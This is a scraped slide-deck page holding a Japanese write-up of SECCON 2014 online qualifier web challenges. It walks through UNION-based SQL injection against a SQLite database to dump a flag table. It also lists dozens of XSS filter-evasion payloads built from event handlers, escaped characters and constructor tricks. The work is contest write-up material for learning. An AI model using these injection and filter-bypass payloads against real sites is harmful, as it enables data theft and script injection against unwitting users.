Upload
zaki4649
View
1.567
Download
5
Embed Size (px)
DESCRIPTION
7/19に開催されたSECCON 2014 オンライン予選に参加した時に、自分が解いたWeb 100と300の問題のwrite upを書きました。
Citation preview
自己紹介
セキュリティエンジニアやってます。
脆弱性診断業務を担当しており、専門はWebセキュリティです。
SECCONオンライン予選にはチーム「vuls」で参加していました。
TwitterID: tigerszk
今回は参加して非常に楽しかったので、自分の解いたWebの問題について忘れない内にWrite UPを書きました。
やったこと もうやることはインジェクションでデータぶっこ抜くしかないよねってことで、早速夢が広がるUNION SELECTを使うことにする。
カラム数の特定
order byかまして6だとエラーになったので、select文のカラム数は5と特定 ' order by 6;--
UNION SELECTを実行
とりあえずUNION SELECTできることを確認
' UNION ALL SELECT null,null,null,null,null;--
DBの特定
以下のSQL文が通ったのでデータベースが「SQLLite」だと特定
' UNION ALL SELECT null,null,null,null,null FROM sqlite_master;--
テーブル名の一覧を取得
UNION SELECTで「sqlite_master」テーブルからテーブル名をGET!
' UNION ALL SELECT null,name,null,null,null FROM sqlite_master order by name;-- このDBでは以下のテーブルが存在していることがわかった
SECCON COMPANY sqlite_autoindex_COMPANY_1
とりあえず解けて良かった
見るからに「SECCON」ってテーブルが怪しいし、カラムは「flag」かなと思って適当に 以下のSQL文を実行したらflagをGET!やったね ' UNION ALL SELECT null,flag,null,null,null FROM SECCON;--
スゲーいじわる
例えば「 “><script>alert(‘XSS’)</script> 」を入力するとこうなる。
入力した文字の内容に応じて弾かれる文字が増えていく鬼畜仕様となっている。
どんどん使えなくなる文字列が増えるので、入力する順番を考える必要がある。
今回は完全敗北 頑張ったんだけど時間内では、15問目が限界でした。今回は勝てなかった。。。 【僕が挿入した文字列】
"onKeyDown="document.write('<¥x73cript>¥x61lert(¥x22XSS¥x22)</¥x73cript>')" "onMouseEnter="alert('XSS')" "onMouseDown="alert('XSS')" "onMouseLeave="alert('XSS')" "onMouseOut="alert('XSS')" "onMouseMove="alert('XSS')" "onFocusOut="alert('XSS')" "onclick="alert('XSS')" "onFocus="alert('XSS')" "onMouseWheel="alert('XSS')" "onMouseUp="alert('XSS')" "onmouseover="alert(decodeURI(decodeURI(/%58%53%53/.source)))" "><script>eval('¥u0061¥u006c¥u0065¥u0072¥u0074¥u0028¥u0027¥u0058¥u0053¥u0053¥u0027¥u0029');</script> "onKeyPress="/127641/['constructor']['constructor']('al'+'ert'+'('+'¥''+'XSS'+'¥''+')')() "onSelectStart="/123441/['cons'+'truc'+'tor']['cons'+'truc'+'tor']('a'+'l'+'e'+'r'+'t'+'('+'¥''+'XS'+'S'+'¥''+')')()
先頭文字のみを数値文字参照とかすると、ブラックリストになる文字列が、数値文字参照を含んだ結構まとまった文字列になることに、残り30分くらいに気づいたorz…時すでに遅し。 例えば「“onmouseover=”alert(‘XSS’)“」とかいれるとフィルタされるのは 「onmouseover」、「97lert」、「x58SS」となるみたい。 これだったらイベントハンドラ使いまくればもっとイケそうじゃんと思った時にはタイムアップ。
お家に帰ってから復習しました 箱庭だからお家でも続きができたので、頑張ってクリアしました! 下記が僕が攻略した挿入文字列です。かなり力押しなので全然美しくない、、、 いやーイベントハンドラってホントに沢山ありますねw "onKeyPress="¥u0077indow['¥u0061lert']('¥u0058SS')" "onSelectStart="window['alert']('XSS')" "onblur="window['alert']('XSS')" "onmouseover="window['alert']('XSS')" "onbeforepaste="window['alert']('XSS')" "ondblclick="window['alert']('XSS')" "oncopy="window['alert']('XSS')" "onpaste="window['alert']('XSS')" "onKeyDown="document.write('<¥x73cript>¥x61lert(¥x22XSS¥x22)</¥x73cript>')" "onMouseEnter="alert('XSS')" "onMouseDown="alert('XSS')" "onMouseLeave="alert('XSS')" "onMouseOut="alert('XSS')" "onMouseMove="alert('XSS')" "onFocusOut="alert('XSS')" "onclick="alert('XSS')" "onFocus="alert('XSS')" "onMouseWheel="alert('XSS')" "onMouseUp="alert('XSS')" "><script>alert('XSS')</script>